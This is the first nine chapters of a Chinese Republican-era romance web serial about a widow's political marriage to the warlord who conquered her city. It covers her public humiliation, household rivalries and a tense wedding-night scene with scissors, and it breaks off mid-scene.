《督军小夫人,腰细貌美还勾人》
第1章 江家三小姐,督军小夫人
新婚丈夫刚死,由他驻守的都城就被攻破。
新任督军上位,第一件事,竟然是要娶丧偶的江浸月为妻。
婚车慢悠悠的向着新督军府前进。
啪。
前挡风玻璃被一颗臭鸡蛋砸中,一声脆响,司机本能地踩住刹车!
黏稠的黄色液体沿着玻璃往下流,车厢里的人都仿佛能闻到恶心的臭味。
江浸月身着一件时下流行的蕾丝婚纱裙的女子,嗓音却依旧清丽而平和:
“继续开。”
司机咽了一下口水,重新启动车辆。
然而还没开出几米,什么烂菜叶子隔夜饭就通通砸了上来。
民宅二楼的阳台甚至直接倒下一桶脏水,哗啦啦地将原本擦得锃亮,贴着大红双喜字的婚车弄得一片狼藉。
“居然从我家门口经过,晦气!”拎着水桶的妇人头戴白花,嫌恶之情几乎要从白眼里翻出来。
司机忍无可忍,从车窗探出脑袋:“你说谁呢!”
妇人双手叉腰,破口大骂:“说的就是江浸月!”
“还是书香门第出来的大家小姐呢,根本就是狼心狗肺的毒妇!”
“沈督军前脚战死在东边,她后脚就打开城门迎接晏山青,若说他们不是奸夫淫妇、里应外合、害死督军、占领南川,谁相信啊?!”
“沈督军死了,我们还没死呢!”
司机意图分辨:“你——”
后座女子轻声:“盛叔,回来。”
司机看到妇人砸过来什么东西,连忙缩回脑袋。
一块破抹布不偏不倚挂在车镜上,羞辱意味极浓!
盛叔连忙扯掉抹布:“这些人!”
就是知道江浸月今天出嫁,所以在必经之路上闹事,故意不让她体体面面嫁进新督军府!
他回头:“夫人……不对,是三小姐……也不对,就是夫人……唉这……”
都不知道怎么称呼合适?
江浸月不在意盛叔的失态,也不在意被当作过街老鼠,神情无波无澜,吩咐:“雨刷打开,扫干净了就走吧。”
盛叔深深叹了口气,但又能说什么呢?
只得开雨刷,将玻璃上的脏东西扫掉。
正准备继续开,又有几个腰上扎着白布的青壮年冲出来,往大路上丢装满沙子的麻袋,又倒了一地的碎石子,专门挡路。
青年狠狠瞪了汽车一眼,不解气的还吐了口水,然后就蹲在路边盯着他们。
手里都拿着棍棒,大有他们敢下车,或者想强行闯过去,就要动手的意思。
盛叔又气又无计可施:“夫人,他们铁了心要为沈督军出气,这下真的过不去了。”
江浸月的目光从他们腰上的白布挪开,那一片白像一根针扎进她心口,她眼睫快速颤动了好几下,才又归于沉寂。
“还有别的路能走吗?”
“有是有,但汽车要掉头……结婚当天婚车不走回头路,这是旧俗,否则不吉利。”
江浸月轻轻一笑:“我丧夫不到一月就另嫁,嫁的还是杀我夫、占南川的军阀,全城百姓恨不得将臭鸡蛋丢到我身上,还有比我更不吉利的新娘吗?”
盛叔下意识回头去看她。
她白纱盖乌发,珍珠耳上挂,容貌清绝,气质上佳。
这南川城无人不知,江家三小姐,是锦绣丛中娇养大的花,从小就过着比当年宫里的格格还要富贵的日子。
她十七岁嫁进沈家就是当家主母,三年来,上下对她都十分敬重。
可。
从前是从前,现在是现在。
沈霁禾战败身死,南川已经是晏家的了。
而她也要从沈霁禾的夫人,变成晏山青的夫人。
盛叔心疼得落泪,叫回她在家做姑娘时的称呼。
“三小姐,您说这话,就是戳盛叔我的心肝了,别人不知道您那些说不出的委屈,盛叔我还能不知道吗?那晏家军的军营,是我送您去的啊!”
江浸月垂眸:“等吧,等到吉时,我还没有到,晏家人应该会派人来接。”
汽车就这么孤零零地停在路中间,从早晨等到中午,又从中午等到日落。
眼看天都黑了,晏家还没有来人。
盛叔心里难受得要命。
晏家不可能不知道婚车路上出事,故意晾着,就是在给他们下马威!
江浸月从容自若,并不难堪,静静坐在车上,饿了就打开食盒吃块糕点,渴了就剥个橘子润喉。
偶尔有不明所以的百姓路过,好奇地打量他们这辆车,但在听旁人说车上是谁后,表情就立刻变得憎恶。
每个人都是这样,看多了,江浸月都觉得有些好笑。
一直到七八点,大街上才响起汽车声。
盛叔定睛一看,连忙说:“三小姐,晏家来人了!”
第2章 是姨太太,还是正头夫人
江浸月抬起眼。
看到几辆军用吉普车上下来几个穿着军装的男人,迅速动手清理路上的障碍物,那些拿着棍棒的青壮年,已经跑了。
一位高级军官行至车边,江浸月摇下车窗。
“夫人,您好,我是晏督军的副官。”
“晏督军不知道您在路上发生这种事,久候您未至,特意派我来查看。现在路已经清通了。”
“今天的事,我一定一五一十汇报给督军,请督军为您做主。”
江浸月看着他略显冷淡的神情,没多问,摇起车窗:
“走吧。”
汽车重新启动,开往新督军府。
晏山青入主南川不到半个月,自然没办法在这么短的时间内建造一座新府邸,他的督军府是原来的军政大楼。
按理说,他可以直接抢了沈霁禾的督军府,住得舒服一些。
但他没有,他甚至没有为难沈霁禾的家眷。
沈霁禾的老母亲、大嫂侄儿、叔叔婶婶、堂兄弟堂姐妹,都还好好地住在督军府,衣食也供应不缺。
就如他入主南川,也没有对城中百姓烧杀抢掠,补给自己的军队,百姓一如既往地太平生活着那样。
他简直不像一个刚从尸山血海的战场下来,浑身煞气的杀星。
不知道的还以为,他是兵不血刃地从沈霁禾手里接管了南川。
非要说他做了什么事,那就只有娶了沈霁禾的夫人,江浸月。
军政大楼里里外外张灯结彩,宾客们都在门口接亲,婚车一到,下人就点燃鞭炮,锣鼓也奏了起来。
乍一看热闹喜庆,但细一瞧,哪哪都能看出马虎和草率。
而且,新郎呢?
新郎才是最应该在门前迎接新娘的人。
江浸月端坐不动。
副官打开车门,语气不咸不淡:“夫人,督军是东湖人,我们那边都是新娘自己进门。总归自己上门这种事,您轻车熟路。请吧,别叫督军久等。”
“自己上门”三个字,已然带有嘲弄的意味。
哪怕东湖当真有这个习俗,加了这句话后,十成十是故意为难。
而且,他一个副官敢这样对准督军夫人,必然是晏山青的意思。
盛叔差点要下车去理论:“他们欺人太甚了!”
江浸月今天要是自己进去了,明天就会成为全城、全府笑柄!
她嫁给晏山青,是做正头夫人,以后又要怎么管内宅?谁会敬她服她?
观礼的宾客大部分是跟着晏山青来到南川的人,都围得很近,都听到副官的话。
有人嗤笑:“姨太太才自己进门。”
另一人嘲弄:“晏督军本就定了亲,有未婚妻,那位虽然还没过门,但已经料理晏家内宅好几年,府内上下都认她才是正头夫人,江浸月一只破鞋,当姨太太都是抬举她了。”
“可不是,也不知她用了什么手段让晏督军不得不收下她,但晏督军连婚车被拦都懒得理,就知道有多不满意她了,她今日就算进了门,以后也没好日子过!”
“不是说那位也要娶进门做平妻吗……”
副官不耐烦地催促:“夫人,请吧!”
所有人都在看,看江浸月肯不肯自己走进去?
这其实毫无疑问。
难道,晏山青还会改变主意出来接她?
晏山青不出来,她又敢犟着不进去吗?
江浸月就算是那汇源银行的江三小姐,但她在南川已经臭名昭著,江家都不敢护着她,新督军是她唯一的靠山,她还敢忤逆?
一片看好戏的目光中,江浸月清清淡淡地开口:“有劳副官替我向晏督军传一句话。”
副官皱眉,不太愿意,但想到她到底是准督军夫人,还是给了一些礼貌:“夫人有什么话尽管吩咐。”
“事关机密,有劳低头过来。”
副官愣了愣,弯腰凑过去,首先闻到一阵很清淡清冷的栀子香,恍了一下神。
而江浸月已经把话说完,继续端坐不动。
副官才反应过来她说了什么大胆的话,脸色惊愕,不可置信地看着她。
女子眼睫犹如蝴蝶翅膀,微微垂下,静静的,却又自带矜贵,叫人不敢冒犯。
副官咽了一下口水,立刻转身快步进了府。
所有人都不明所以,正要嘲讽江浸月故弄玄虚。
下一刻,一双黑色锃亮带着劲风的军靴就迈过门槛。
有人惊呼:“——晏督军!”
晏山青竟然真的出来了!
第3章 从第一次见,她就不怕他
如山峦一般的阴影,从门口覆盖到车里,覆盖在江浸月身上。
江浸月抬起头,与男人的目光对上。
——晏山青,晏督军,东湖人。
与吴侬软语的南川水土,养出的无论男女老少都或多或少带一点斯文气质不同,他很高,很壮,眉目也生得野性。
饱满光洁的额头连接眉骨,眉压眼的长相,英俊中带着凌厉感,只要往那儿一站,便是不怒自威的气场。
所有人都不敢再肆无忌惮说话,江浸月却不卑不亢地直视着他。
她不怕他。
从第一次见面就不怕——
当沈霁禾战死的消息传入南川,那天夜里,江浸月让盛叔开车带她出城,到城外三里地,晏家军驻扎的营地求见他。
帐篷透气性差,帐内弥漫着淡淡的血腥气。
副官和小兵都退下了,只剩他们一男一女。
煤油灯半明不暗,晏山青随意地坐在红木圈椅上,双腿岔开,紧实的大腿肌肉被禁锢在军裤内,漆黑的皮靴在地上有一下没一下地点着。
压迫感十足。
换作一般女子,与这样杀伐气极重,体型又几乎是两个自己的男人独处,肯定会怕得直打颤。
而江浸月却敢一步一步走到他面前。
男人一动不动地看着她,眉毛都没有抬起来,唯独眼底多了一丝玩味儿,要看她玩什么花样?
他没把她放眼里,不过就是一个二十啷当岁的小寡妇。
穿着一件长至小腿的暗色旗袍,旗袍他知道,会将女子的身形曲线,从胸到腰再到臀,毫无保留地呈现。
但她又披了一件黑斗篷,夏日不冷穿什么斗篷?斗篷将婀娜的身形遮住,叫人什么都看不到。
他当然不是想看,只是从她这穿了又不想给人看的矛盾行为里,生出几分厌烦。
觉得她装。
江浸月已经走到他面前,细高跟碰到了他的军靴。
他低头去看,看到她皓白的脚踝,被拉出线条感的小腿在旗袍裙摆下若隐若现,他眼睛微眯。
江浸月突然伸手去碰他的胸口,她指腹感受到他绷紧的肌肉的下一秒,手腕就被他一把攥住!
晏山青原本轻慢的眉眼立刻变得锋利,如同山林中蓄势待发的猛兽!
江浸月忍着疼,用一双秋水剪瞳镇定地看着他:“督军胸口有伤?多重?出血过多的话,云南白药怕是不好用,我留过洋,学的医,可以帮你看看。”
晏山青盯着她毫无惧色的神情,没有放开她的手,嗓音低沉:“晏某区区皮外伤,不劳沈夫人玉手。沈夫人既然懂医术,不如先给自己和沈家上下,开一个救命良方。”
沈霁禾一死,晏山青下一步自然就是入主南川。
一朝天子一朝臣,他入南川后,第一步要做的,就是杀一批沈家人和沈家部下,立威,也镇住蠢蠢欲动的人心。
晏山青长得野,作风也野。
在这个残酷,又四处都是机遇的时代,他从籍籍无名的平头百姓爬到今天这个位置,手里不知道有多少条人命。
当年他夺东湖,据说,就杀出一个万人坑。
所以他不会施行什么怀柔政策,不会为了安抚南川残存的沈家旧势力就善待沈家人。
他只会强取豪夺,压到人不得不服。
江浸月面不改色:“我今晚来,就是想跟晏督军聊这个‘药方’。”
晏山青:“哦?”
江浸月一字一字说:“晏督军觉得,我代表沈家,开城献降,亲迎督军入主南川,能不能换沈家上下安然无恙?”
晏山青眉毛挑起来:“你?”
“对,我。”
晏山青突然一笑。
直接从椅子上起身,抓着她的手大步走向另一个帐篷。
他步伐太大,江浸月被他拽得一路踉跄,站都站不稳,犹如一株无根的花,在狂风无助地摇摆。
她第一次,第一次这么直观地感受到,晏山青的力量。
跟沈霁禾完全不一样的男性力量,她根本没有反抗的余地。
晏山青一把掀开帐篷,帐内有好几个穿军装的男人,围着沙盘在分析,看到他拉着一个女人进来,都有些错愕。
“督军……?”
江浸月感到羞辱,素来八风不动的神情,都有些崩裂。
“都出去。”晏山青三个字落下,那些人火速离开,而他将她丢了过去。
江浸月连忙扶住沙盘,身上的斗篷都在这一顿拉拽散了开来,旗袍描摹出女子凹凸有致的曲线。
她控制不住愤怒,扭头瞪着他!
第4章 我还缺一位,督军夫人
而晏山青,懒洋洋地靠在一旁的桌边,点了一根香烟,示意她自己看。
“沈夫人,我距离南川只有一步之遥,拦我入南川的只有一扇城门。”
“这扇城门,你觉得我要用多久才能破?半个小时?还是十五分钟?”
他吐出一口轻飘飘的烟。
似乎在他眼里,拿下南川,比这口烟还轻松。
“……”
江浸月平复了狼狈,没有去看沙盘,而是对着他说,“拦你的,还有沈家人,还有南川全城百姓。”
晏山青弹掉了烟灰。
江浸月神情孤高:“沈家历经三朝,沈霁禾的曾祖父和祖父,皆是南川的父母官,沈家早已经和南川融为一体。”
“沈霁禾继承家风,执掌南川五年,政通人和,得全城百姓拥戴,沈霁禾死在东边的消息传回南川,家家缟素。”
“但,无一人逃离。”
“他们誓与南川共存亡,所以,督军若想强攻,半个小时,怕是杀不完全城百姓。”
她的语调没有跌宕起伏铿锵有力,有的只是清冷平静的叙述。
晏山青指尖的香烟烧了一截,他都没有再抽一口,只是看着这个江三小姐。
乌黑的眼睛里,情绪不明。
江浸月再道:“即便你杀完了,南川百姓的铮铮铁骨,也会被天下人奉为标杆,激励着那些反晏家军的人,更加不顾一切地反抗到底。”
“更甚至,还会感染更多的人,加入反晏家军的行列。”
“那时候,晏督军应该会很头疼吧?”
说到这里,容貌清绝的女子,忽然一笑。
“不过,这是极端情况,说说而已,无论如何,晏督军应当都不会,也不敢,冒天下之大不韪,屠杀整个南川的百姓吧?”
香烟烧至末尾,烫到了晏山青的皮肤。
他丢掉烟头,漫不经心地搓了搓被烫红的皮肤。
重新去看这个女子。
他确实没想到,她敢在他面前说这些话。
而且,懂得还不少,不像是一般的闺阁女子。
他在城外驻扎一个星期,没有强攻,就是在考虑,如何才能以最小的代价拿下南川?
他在前线平乱剿匪可以不论生死,但,城内都是手无寸铁的百姓,他又不是畜生,怎能对他们下手?
她这番话,说穿了他的顾虑,也算拿捏到了他的忌惮。
“沈夫人这样好的口齿,当年留洋还学了演讲?”
江浸月没有接他的嘲讽,不卑不亢继续说:“所以,只有沈家人先降了,南川才会是晏督军的,晏督军考虑我的交易。”
“如果督军答应,我让督军,五分钟就踏进南川的城门。”
晏山青舌尖抵了一下腮帮,问:“沈夫人能做沈家的主?”
江浸月笃定:“我能。”
晏山青凝视面前的女子,少了斗篷遮掩,身形展露无遗。
很纤细,像杨柳枝,可以折弯,但折不断。
有点儿意思。
“江三小姐的交易,我可以同意。”
江浸月心口蓦地一松。
一时间没有意识到,他突然改口的称呼。
晏山青双手插兜,慢步到她面前。
他有一米九,穿着白衬衫,这个姿势让胸肌完全打开,臂弯的肌肉也几乎要崩裂衣料的束缚。
他真的,太像一头雄狮了。
江浸月被他靠近,不想露怯,没有退后,只是无声地屏住呼吸。
晏山青停下步,微微弯下腰,看进她的眼睛里:
“我怎知,你不是当面一套,背后一套,现在骗我放过沈家人,等你们积蓄好了力量,又号召全城百姓来反抗我?毕竟你把沈家的影响力,说得那么厉害。”
“我自是讲信用的,怎会做这种背信弃义之事?”江浸月皱眉,“否则,晏督军的意思呢?”
“你留在我手里当人质。”晏山青一句话,江浸月一愣。
他用比她半张脸都大的手掌抬起她的下巴,野性英俊的眉眼,一笑,但那笑意不达眼底。
“我缺一位督军夫人,就你了。”
“……”
彼时两人目光相对。
此刻场景重现。
江浸月在婚车里,对着台阶上的男人,伸出一只手。
“听说东湖那边娶妻,新娘是自己进门,我既然嫁给督军,本应该按照东湖的习俗来,”
“但督军今日也是做了我们南川的女婿,不如还是按南川的规矩,夫妻一起进门,图个百年好合,举案齐眉的好意头。”
她的声音虽轻,但能让在场的人都听得到。
她说——娶妻、夫妻。
就是在告诉那些嘲弄、讽刺她的人,她是他的正妻!
第5章 是婚服?还是丧服?
晏山青看着这只穿着白色蕾丝手套的手,蕾丝透肉,看得见白皙的皮肤与纤细的手腕。
半个月前他把她的手腕抓红,现在已经看不见痕迹。
心计不错。
这是让所有人都知道,她是他亲迎进门的正头太太。
难怪敢叫他的副官传那样的话给他。
晏山青握住她的手,一用力,将她从车里拽了出来!
江浸月做好了下车的准备,但还是被他的力气拽得一个踉跄,而且这次比半个月前那次还要狼狈,直接撞进他的胸膛。
晏山青非常强壮,是高强度训练、真刀真枪作战,锤炼出来的那种实打实的强壮,每一寸皮肤都带着蓬勃的力量感,绝对不是花架子。
江浸月在他的怀里,有身高差,体型差,纤弱得像朵菟丝花。
晏山青垂下眼皮,嗓音轻讽:“夫人说得是,我来接你进门,但你也要站稳了,这才第一天,现在就站不稳,以后怎么办。”
江浸月立刻借着他身体站好,抬眸看他,目光镇定:“督军尽管放心。”
晏山青又是没有笑意地笑一笑,带她进门。
跨过门槛的一刻,江浸月心底有什么东西,彻底灰飞烟灭了。
从此以后,她就是晏山青的夫人了。
……
要进拜堂的正厅,还要经过一个院子。
新郎新娘挽着手,并肩走着,低头说话,宛如一对恩爱夫妻。
然而在外人都听不到的方寸间,晏山青没有真心地道:“夫人的婚车在路上遇到了阻拦,怪我,没有及时派人去解救。”
江浸月轻声:“督军贵人事忙,我理解的。”
“不生气?”
“怎会呢。”
晏山青睨着她:“我以为,夫人让副官带话,说我不出来接你,你就要告诉宾客,我之所以娶你,上是为了控制沈家,下是为了汇源银行资金,是因为生我气了。”
江浸月微微一笑,面若芙蓉,清丽动人:“只是听到宾客们在讨论督军为何娶我,一时兴起开的玩笑而已,并没有要挟督军,更没有说督军现在能坐稳南川,靠的是我的意思。”
晏山青冷笑。
这女人,骨子傲。
他看着她:“拦车的人是谁?”
江浸月垂下眼睫:“没有谁。”
晏山青跨上正厅的台阶:“听说,是还在为沈霁禾穿白的南川百姓?”
江浸月心头一紧,跟着跨上去:“不是。我说了,没有谁,督军不必在意。”
“怕我找他们麻烦?”
江浸月飞快看了他一眼,晏山青侧脸线条冷硬,故意把话停在这里,不说清楚到底追不追究那些百姓。
江浸月眉头紧皱,难免忐忑。
这男人,故意的!
婚礼新旧结合,没有凤冠霞帔红盖头,但有拜堂。
夫妻对拜时,两人面对面,互相鞠躬,晏山青用只有他们两人才听得见的声音问。
“还有夫人穿的婚纱,这一身白,到底是跟我成亲的婚服,还是为沈霁禾穿的——丧服?”
江浸月心头某一根弦被狠狠拨动,她下意识抬起眼。
就在这时,主持婚礼的人唱喝了一句:“礼成——”
晏山青旋即挺直了腰,转身对来道喜的宾客们拱手,笑着回:“同喜同喜,多谢多谢。”
江浸月也就没有看见他说那话的神色,被送入了洞房。
新郎官原本应该跟进来喝交杯酒,然后再去接待宾客。
然而晏山青走到一半,一个丫鬟神色慌张,急匆匆地穿过人群跑过来,急切地呼喊:
“督军!督军!”
晏山青瞥了一眼,明显认得这个丫鬟是谁院里的,眉头一皱,朝她走去:“怎么了?”
第6章 晏山青的品味,不俗
丫鬟不知道说了什么,晏山青听完就直接跟着她走了。
没有入洞房。
这府里,无论是宾客还是仆从,都是晏山青的人,他做事谁敢置喙?
所以众人将江浸月送入婚房后,什么都没说,各自离开。
江浸月坐在大红喜床边,垂眼看着被褥上绣的交颈鸳鸯,就想起,三年前那个新婚夜,她也睡过一次鸳鸯床单。
盛叔端来一碗桂花汤圆:“三小姐,您累了一天了,快吃点东西吧。”
江浸月接了过去,温声说:“盛叔,您虽然是看着我长大的,但毕竟是外男,明天让明婶过来跟着我吧,免得晏家人看见了要挑理。”
盛叔明白地点头:“是是是,老爷夫人本就定了我婆娘跟您进晏家,只是没想到小孙子发了高烧,她才耽误了事。”
江浸月吃着丸子。
盛叔本想离开了,但走了几步,越想越气不过,又扭过头,满脸不堪受辱的气愤。
“他们晏家还敢挑我们的理?三小姐,您知道督军为什么将您一个人留在这里,不来跟您喝交杯酒吗?”
“因为他养在琼华苑的那个女子闹着要跳河自尽,刚被救上来,他急着过去看呢!”
“我来的时候就看见督军的副官急匆匆跑出门去找大夫,现在府里上上下下都在琼华苑忙着,就好像那边的才是刚过门的督军夫人!”
江浸月听着。
她要嫁进督军府,督军府内的基本情况,她自然有所了解。
那个住在琼华苑的女子,就是替晏山青操持后宅多年,府内上下默认是正头夫人的人,叫宋知渝。
盛叔是又气又担心:“连督军的母亲也在琼华苑,晏家上下都这般看重那女子,您以后怕是难了。”
江浸月只是笑了笑,没说什么,挥手让盛叔退下。
她吃完了丸子,又打开房门,唤了下人送热水,洗脸入睡。
次日一早,江浸月洗漱穿戴完毕,迈出房门。
她左右看了看,看到廊下有一个小丫鬟在给花浇水,便喊了一声:“你,过来。”
小丫鬟愣了愣,放下水桶:“夫人,您叫我吗?”
江浸月点头:“我不识路,你为我带路到琼华苑吧。”
小丫鬟以为她是要去给老夫人敬媳妇茶,便说:“夫人,老夫人是住在寿松堂。”
江浸月却说:“宋小姐是住在琼华苑吧?先带我去见她。”
小丫鬟不明白,她入门第一天,不赶着去拜见老夫人,反而要找宋小姐?
但她是夫人,她只是小丫鬟,不敢违背,连忙应声,带着她去了琼华苑。
一进院子,江浸月就闻到了浓重的药味。
她扫了一圈,廊下的花圃里种的都是雪塔山茶之类的名贵花种,而且养得极好,一眼看去还有六个丫鬟。
晏山青入主南川不过半个月,府里很多地方都是凑合将就,宋小姐这里倒是样样齐全。
琼华苑里的一个丫鬟走过来:“您是……”
江浸月自报家门:“我是昨天刚进门的督军夫人。听说宋小姐身体不适,特意来探望。”
丫鬟脸色一变,如临大敌,就怕她一大早不请自来,是来教训她们姑娘的。
“夫人,我家姑娘从昨晚落水,到现在都还没有醒,没办法拜见夫人……”
江浸月已经听见里面的动静了:“她现在已经醒了,你去跟她说我来了。”
丫鬟犹豫了一下,还是转身跑进了门。
不多时,那丫鬟便扶着一道娇弱的身影走出来。
江浸月见到这位宋小姐的第一印象就是——好一个我见犹怜的柔弱美人。
晏山青的品味,倒也……不俗
第7章 没有过夜,没有圆房
江浸月在看宋知渝,宋知渝也在看江浸月。
接着掩唇咳嗽了两声,张嘴正要说话。
江浸月就直接道:“都是在后宅讨生活的女人,你的心思我清楚,我有话就直说了。”
宋知渝一怔。
江浸月:“传闻中的宋小姐贤良淑德宜室宜家,可你却在督军新婚之日闹出这么大的动静,现在大家同情你,但等大家回过神,就会意识到你昨晚的行为有多不懂事,你这一招,其实用得不高明。”
宋知渝面上一急,像是要辩解什么:“我——”
江浸月第二次打断:“你是想说你是真想寻死?”
“可督军新婚大喜,你做出自尽如此晦气之事,是想督军府办完喜事就办你的丧事吗?你这是在诅咒督军,和督军府上下,更不懂事。”
“……”
宋知渝原本一派虚弱地靠着丫鬟,听到这里,已经直起了身。
“督军刚入南川,要的是安定,而不是各种各样的非议,如果事情再闹大,宋小姐猜谁会被清算?难道会是我这个明媒正娶的督军夫人?”
宋知渝眸光闪烁,咬住了下唇。
“宋小姐这一步走得不高明,但你还有补救的机会,想想怎么平事吧。”
话说完,江浸月就转身对小丫鬟说,“带我去寿松堂给老夫人敬茶。”
·
寿松堂取的是“松柏常青”的好寓意。
晏山青的母亲薛老夫人,听丫鬟禀报新夫人来敬茶,不冷不热地问:“山青跟她一起来的?”
丫鬟回话:“陈师座昨晚吃席离开,回家路上遇到刺杀,督军去处理了,到现在都没回来。”
言下之意就是,督军昨晚没有在垆雪院过夜,更没有跟新夫人圆房。
服侍老夫人的嬷嬷都是打年轻时就跟着她的,最懂她的心思,知道她根本不喜欢这个儿媳,一边为她穿戴,一边笑着说:
“到底是当过别人的儿媳,就是要比那些什么都不懂的小姑娘识趣,一个人也不忘礼数。”
老夫人面色微沉。
她根本不同意晏山青娶这个二嫁妇当正头太太,但又管不了晏山青。
她最想要的儿媳妇是宋知渝,现在美梦落空,知渝昨晚还因此寻了短见,可想而知她此刻对江浸月有多不满。
拿起佛珠,带着嬷嬷一起出去。
新婚第一天,江浸月穿了一件兔眼红色的立领旗袍。
绸缎的面料颇有质感,裙摆绣着石榴花,取义“多子多福”,裙摆开衩的高度恰好,显得端庄贵气,很合她这个督军夫人的身份。
她静静地站在厅堂中间,很恭敬的样子。
老夫人走到她面前坐定。
江浸月轻声细语:“儿媳江浸月,给母亲请安。”
又从丫鬟的托盘里端起一杯茶,恭敬地送到老夫人的面前,“母亲,请用茶。”
老夫人面容慈善,笑笑说:“浸月啊,你也是嫁过一次的人,不知道给婆婆敬茶,是要跪下的吗?”
跟着江浸月来的小丫鬟侯在门外,头都不敢抬。
……现在是民国了,报纸上天天在宣讲人格与尊严,下人都不会动不动就下跪,何况还是夫人,这根本就是刁难啊……
“母亲教诲的是。”江浸月一副很顺从的样子。
嬷嬷眼中流露出轻蔑——老夫人根本就不想好好喝她这杯媳妇茶,等着吧,她就算跪下了,后面还有的是招数刁难她!
总之,今天不可能让她毫发无损走出这个院子!
江浸月后退一步,看似调整姿势,动作却很慢。
老夫人皱眉,嬷嬷正要催她快些,门外突然传来一阵惊呼:“宋小姐,您……”
宋知渝匆匆跑进门,老夫人看到她这样跑来,不由得一惊,连忙起身迎上去。
“知渝,你刚醒,身子还弱得很,怎么能这样跑来呢?”
宋知渝扑通一声,重重跪在老夫人面前,眼眶通红,泫然欲泣:
“老夫人,昨天晚上,知渝想给池塘的锦鲤喂些鱼食,没想到池塘边的淤泥滑,不小心滑了一跤,摔进池子。”
“早上醒来,听说昨晚连累老夫人和督军担心,知渝知错!”
老夫人愣怔:“你是不小心滑跤?”
不是因为山青娶妻想不开?
宋知渝磕头:“是,是,督军新婚大喜,知渝心里高兴,到院子里赏月,没想到会闹出这样的差错,是知渝不对,请老夫人降罪!”
老夫人一时间只顾着心疼宋知渝,对着江浸月挥了挥手:“行了行了,你回去吧。”
江浸月将茶盏放回托盘,淡声道:
“是。”
第8章 夫人想笼住督军,不难
离开寿松堂,回到垆雪院。
明婶已经来了,担忧地迎上来:“三小姐……”
江浸月看到奶妈,紧绷的神经都松开了,拉住她的手,语气不自觉带上点撒娇:
“明婶,你现在要喊我夫人的。”
明婶满眼都是心疼:“夫人,您去给老夫人敬茶了吗?还顺利吗?”
她还想问她是否受到刁难,但这是在晏家,她怕言语有失,给自家小姐惹麻烦。
江浸月笑笑:“很顺利。”
而后转身,问那个小丫鬟,“你叫什么名字?”
“我叫辛儿。”
江浸月:“你去跟管事的说,这是我的意思,你以后就跟着我了,做我身边的丫头。”
辛儿刚被招进晏家,只是一个负责打扫的小丫鬟,没想到能一跃成为夫人身边的人,连忙鞠躬:“谢夫人!谢夫人!”
辛儿高高兴兴地去找管家,管家转了转眼睛,然后拉着辛儿细细询问。
辛儿年纪小,天真没设防,三两句话就将早上跟着江浸月去琼华苑和松寿堂发生的事都告诉了管家。
·
晏山青处理完刺杀事件回到督军府,已经是漏夜时分。
管家送来热毛巾给他擦手。
晏山青边擦,边交代副官:“把人给我看好了,不准他自尽,没有我的允许,任何人不准接近他。”
副官先应了:“是。”
又有些不理解,“这刺客不是已经交代,他是为了替沈霁禾报仇才会刺杀陈师座,督军还留着他,是怀疑他还有什么话没吐干净吗?”
“替沈霁禾报仇?”晏山青玩味儿地一笑,将毛巾丢回托盘里,转身在大班椅上坐下,穿着军靴的双腿自然分开。
“傻子都知道,现在无论出什么事,都能推到沈霁禾的身上。”
副官一愣,明白过来:“督军的意思是,刺客是别人派来的?事败被抓,才推说自己是为了替沈霁禾报仇,掩盖幕后真凶?”
晏山青不置可否,看向管家:“我那个督军夫人今天怎么样?”
他话里对江浸月的称呼,也很兴味。
管家一直在旁边察言观色,终于听到晏山青开口问,便迅速将今天后院发生的事告诉了他。
晏山青轻嗤一下:“好一个借力打力的江家女。”
他本来没打算见江浸月,现在来了点儿兴趣,对管家和副官随意挥了下手,示意他们不用跟着,自己去了垆雪院。
副官在原地目送督军离开,不太明白,低声问管家:“督军什么意思啊?他在夸夫人吗?”
管家一直在后宅走动,对女人间的事,要比副官懂。
“夫人啊,从昨晚老夫人赶去琼华苑看宋小姐这个动作里,看出老夫人更在意宋小姐,也猜到了老夫人不喜她,可能会在敬茶的时候刁难她。”
“所以她在去给老夫人敬茶前,先去敲打了宋小姐,逼宋小姐不得不来为她脱困解罚。”
虽然只是简单的几句话,但却能从这里看出,这位新夫人不是一个什么都不懂、什么都不会的草包。
难怪敢夜闯军营。
难怪敢威胁督军。
副官真没看出这一层,他还以为夫人一大早去琼华苑,只是为了彰显自己正头太太的身份呢。
“这么说,夫人要比宋小姐厉害?”
管家意味深长:“那可未必。”
“怎么未必?”
“副官怎么判断一个女人厉害?”
管家把副官问住了。
管家别有深意地笑了笑:“她们都是督军的女人,不是谁言语手段占上风就是赢,而是谁能拢住督军的心,谁才是赢。”
副官恍然大悟,又看向督军离开的方向。
虽然新夫人曾是他们死对头的女人这点很让人嫌恶,但不得不说,她确实生得貌美。
这都半夜了,督军现在去垆雪院,肯定要留下过夜,圆了昨晚的房……那夫人想笼住督军的心,也不难啊。
第9章 剪刀,剪开她三颗纽扣
夜色如墨。
垆雪院的雕花木窗开一条缝,月光斜斜漏进屋内,在江浸月素色的寝衣上晕开一层银光。
她闭着眼,呼吸轻缓,像已经睡着。
忽然,一道阴影覆上她的身体。
男人直接坐在床沿,床铺微微下陷,江浸月眉心几不可察地蹙了一下,下一秒,一只带着粗茧的手掌就摸上了她的脸颊。
从脸颊,到下巴,再到耳廓。
他玩得轻佻,像在揉弄一块暖玉,但动作又算不上多温柔,有种暧昧的危险感。
江浸月睫毛微颤,在对方手指即将抚上她脖颈的刹那,她突然从枕头下抽出剪刀,寒光直刺晏山青咽喉!
“叮——”
持刀的手腕被男人的大掌一把扣住!
尖锐的刀锋停在晏山青面前,他玩味儿道:“夫人睡觉都藏着刀,是为了防我?”
他手上蓦地用力,江浸月只觉得腕骨一疼,情不自禁松开手,剪刀落入他掌中,他反过来抵着她!
“可惜是三流的防身术——沈霁禾教你的?”
刀尖贴着她脖颈游走,江浸月身体僵着一动不动。
他突然咔嚓一声,剪断寝衣最上的一粒扣。
衣领一开,白皙细腻的脖颈肌肤流露出来。
“我教你,应该往这里刺,才能见血封喉。”
“……”
江浸月自动忽略后面两句话,轻轻答道,“督军说笑了,怎么可能是为了防您呢?”
“只是以前遇到过夜闯房间的贼人,所以才有了枕下藏刀的习惯。督军无声无息摸过来,我以为是贼人,这才自卫,幸好没有伤到督军,否则我就该以死谢罪了。”
说得还挺好听。
晏山青的剪刀还没有移开,人在黑暗里,看不清表情:“以前的督军府这么危险?”
她没说在哪里遇到的贼人,他就直接确定是沈督军府。
江浸月:“世风日下,人心不古。”
晏山青笑了一声,剪刀继续往下移,到了第二颗盘扣上,随着一句轻描淡写的:“是吗。”
又咔嚓一声,剪断第二颗扣。
朦胧的月光照出一截精致的锁骨。
“……”江浸月的手在被子里微微攥紧,心跳加速但故作镇定。
晏山青将剪刀移到第三颗纽扣,这颗刚好,就在起伏的曲线上。
